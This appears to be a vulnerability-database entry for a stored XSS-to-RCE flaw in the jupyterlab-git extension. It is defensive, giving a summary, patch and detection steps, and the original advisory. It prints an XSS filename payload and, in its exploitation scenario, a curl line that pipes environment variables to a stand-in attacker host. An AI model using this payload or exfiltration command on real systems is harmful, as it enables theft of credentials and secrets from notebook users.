A stored XSS vulnerability in the jupyterlab-git extension allows any contributor with commit access to a shared repository to achieve remote code execution in a victim's JupyterLab environment — requiring only that the victim views a rename diff in the Git History tab. This matters because JupyterLab is the de facto development surface for AI/ML teams and routinely runs with cloud provider credentials, LLM API keys, and training datasets in its environment; successful exploitation delivers a full interactive shell via WebSocket with no additional privilege escalation required. With 1,874 downstream dependents, a history of 23 prior CVEs in this package, and an OpenSSF Scorecard of only 5.8/10, this is a systemic risk for collaborative ML platforms rather than an edge case. Upgrade jupyterlab-git to 0.54.0 immediately; teams that cannot patch should disable the extension or lock down shared repository commit access until remediation is complete.
What is the risk?
High. The XSS-to-RCE escalation path is fully documented and reliable — the createHeader() method passes git filenames directly to innerHTML with no sanitization, and JupyterLab's terminal API provides a straightforward pivot to shell execution using the existing XSRF cookie. Exploitation requires commit access to a shared repository, which is a realistic condition in AI/ML teams using GitHub, GitLab, or internal Gitea for collaborative notebook development. The attack is stealthy: the payload is embedded in a filename visible in normal git history, and activation requires only routine UI navigation rather than a suspicious user action. The blast radius is substantial given 1,874 downstream dependents and the credential-rich nature of JupyterLab environments running ML workloads.
How does the attack unfold?
What systems are affected?
How severe is it?
What should I do?
5 steps-
Patch immediately: upgrade jupyterlab-git to 0.54.0 (pip:
pip install --upgrade jupyterlab-git; npm:npm install @jupyterlab/git@0.54.0). -
Inventory: audit all JupyterLab deployments (JupyterHub, SageMaker Studio, Vertex AI Workbench, Azure ML) for affected versions using
pip show jupyterlab-gitorjupyter labextension list. -
Workaround if patching is delayed: disable or uninstall the jupyterlab-git extension; restrict shared repository commit access to verified contributors only.
-
Detection: monitor for unusual POST requests to
/api/terminalsand unexpected WebSocket connections originating from JupyterLab browser sessions; audit terminal process history for anomalous commands post-rename-diff interactions. -
Credential rotation: if exploitation is suspected, immediately rotate all secrets accessible from affected JupyterLab environments including cloud IAM credentials, LLM API keys, and database passwords.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-54527?
A stored XSS vulnerability in the jupyterlab-git extension allows any contributor with commit access to a shared repository to achieve remote code execution in a victim's JupyterLab environment — requiring only that the victim views a rename diff in the Git History tab. This matters because JupyterLab is the de facto development surface for AI/ML teams and routinely runs with cloud provider credentials, LLM API keys, and training datasets in its environment; successful exploitation delivers a full interactive shell via WebSocket with no additional privilege escalation required. With 1,874 downstream dependents, a history of 23 prior CVEs in this package, and an OpenSSF Scorecard of only 5.8/10, this is a systemic risk for collaborative ML platforms rather than an edge case. Upgrade jupyterlab-git to 0.54.0 immediately; teams that cannot patch should disable the extension or lock down shared repository commit access until remediation is complete.
Is CVE-2026-54527 actively exploited?
No confirmed active exploitation of CVE-2026-54527 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-54527?
1. Patch immediately: upgrade jupyterlab-git to 0.54.0 (pip: `pip install --upgrade jupyterlab-git`; npm: `npm install @jupyterlab/git@0.54.0`). 2. Inventory: audit all JupyterLab deployments (JupyterHub, SageMaker Studio, Vertex AI Workbench, Azure ML) for affected versions using `pip show jupyterlab-git` or `jupyter labextension list`. 3. Workaround if patching is delayed: disable or uninstall the jupyterlab-git extension; restrict shared repository commit access to verified contributors only. 4. Detection: monitor for unusual POST requests to `/api/terminals` and unexpected WebSocket connections originating from JupyterLab browser sessions; audit terminal process history for anomalous commands post-rename-diff interactions. 5. Credential rotation: if exploitation is suspected, immediately rotate all secrets accessible from affected JupyterLab environments including cloud IAM credentials, LLM API keys, and database passwords.
What systems are affected by CVE-2026-54527?
This vulnerability affects the following AI/ML architecture patterns: Collaborative ML development environments, JupyterHub multi-user platforms, Managed notebook services (SageMaker Studio, Vertex AI Workbench, Azure ML), Jupyter-based MLOps and training pipelines, AI research compute clusters.
What is the CVSS score for CVE-2026-54527?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011 User Execution AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0055 Unsecured Credentials AML.T0072 Reverse Shell Compliance Controls Affected
What are the technical details?
Original Advisory
Overview Amazon Web Services (AWS) Security has identified a stored cross-site scripting (XSS) issue in the jupyterlab-git JupyterLab extension that can lead to remote code execution (RCE). The issue exists in the PlainTextDiff.ts component, where the createHeader() method passes Git filenames directly to innerHTML without sanitization when rendering diffs for renamed files in commit history. This allows an adversary to craft a filename containing arbitrary HTML/JavaScript that executes when another user views the rename diff in the Git History tab. The issue can be leveraged through the rename history view in the JupyterLab Git panel. An adversary creates a file with a crafted filename containing a JavaScript payload (e.g., <img src=x onerror=eval(atob("base64_payload"))>.py), renames the file in a subsequent commit, and pushes to a shared repository. When a victim clones the repository, navigates to the Git History tab, clicks the rename commit, and then clicks the renamed file to view the diff, the unsanitized filename renders via innerHTML, executing arbitrary JavaScript in the victim's browser session. The injected JavaScript reads the xsrf cookie, opens a JupyterLab terminal via POST /api/terminals, connects via WebSocket, and executes arbitrary shell commands — achieving full RCE. An adversary can leverage this to exfiltrate secrets or credentials from the victim's environment. Scope of impact We discovered this issue during internal security testing. The issue is present in the default configuration of JupyterLab when the jupyterlab-git extension is installed. The attack requires: - The adversary to have commit access to a Git repository that the victim has cloned - The victim to navigate to the Git History tab, click the rename commit, and click the renamed file to view the diff The issue could allow an actor who has access to a shared Git repository to execute arbitrary JavaScript in another user's JupyterLab environment by committing a file with a crafted filename, potentially leading to remote code execution with access to user code, data, environment variables, and credentials. Proof of concept The issue exists in the createHeader() method where filenames from rename history are passed directly to innerHTML without sanitization: [1] https://github.com/jupyterlab/jupyterlab-git/blob/main/src/components/diff/PlainTextDiff.ts#L214 Attack flow: 1. An adversary creates a file with a crafted filename containing a JavaScript payload, e.g., <img src=x onerror=eval(atob("base64_payload"))>.py 2. The adversary renames the file in a subsequent commit and pushes both commits to a shared Git repository 3. The victim clones or pulls the repository and navigates to the Git History tab in JupyterLab 4. The victim clicks the rename commit, then clicks the renamed file to view the diff 5. The createHeader() method constructs a diff header using string concatenation with the unsanitized filename and assigns the result to innerHTML 6. The injected JavaScript executes in the victim's browser session, reads the _xsrf cookie, sends a POST request to /api/terminals to open a JupyterLab terminal, connects via WebSocket, and executes arbitrary shell commands Proof-of-concept mitigation The issue can be mitigated by replacing innerHTML with textContent for filename rendering in the createHeader() method of PlainTextDiff.ts. Alternatively, proper HTML sanitization (escaping <, >, &, ", ') can be applied before inserting user-controlled filenames into the DOM.
Exploitation Scenario
A threat actor gains contributor access to a shared ML repository — through a compromised developer account, insider threat, or a third-party integration with write access. The actor creates a Python file named `<img src=x onerror=eval(atob('BASE64_PAYLOAD'))>.py`, where the base64-encoded payload contains JavaScript that reads the XSRF cookie, POSTs to `/api/terminals` to spawn a server-side shell, connects via WebSocket, and executes `env | curl -d @- https://attacker.io/collect` to silently exfiltrate environment variables. After renaming the file in a subsequent commit and pushing, the actor waits. When a data scientist reviews recent commits in the Git History tab and clicks the rename entry to inspect the diff, the unsanitized filename fires via innerHTML — exfiltrating AWS credentials, OpenAI API keys, and any other secrets in the environment before the victim notices anything unusual. The entire post-trigger chain runs in the background within the legitimate browser session.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2023-25574 10.0 JupyterHub LTI13: JWT forgery enables full auth bypass
Same package: jupyter CVE-2026-44180 9.8 Jupyter Enterprise Gateway: root privilege bypass in Kubernetes
Same package: jupyter CVE-2026-42266 8.8 JupyterLab: Extension allow-list bypass enables privesc
Same package: jupyter CVE-2026-5422 8.1 jupyter-server: path traversal exposes sibling dir files
Same package: jupyter CVE-2025-30370 7.4 jupyterlab-git: command injection via malicious repo name
Same package: jupyter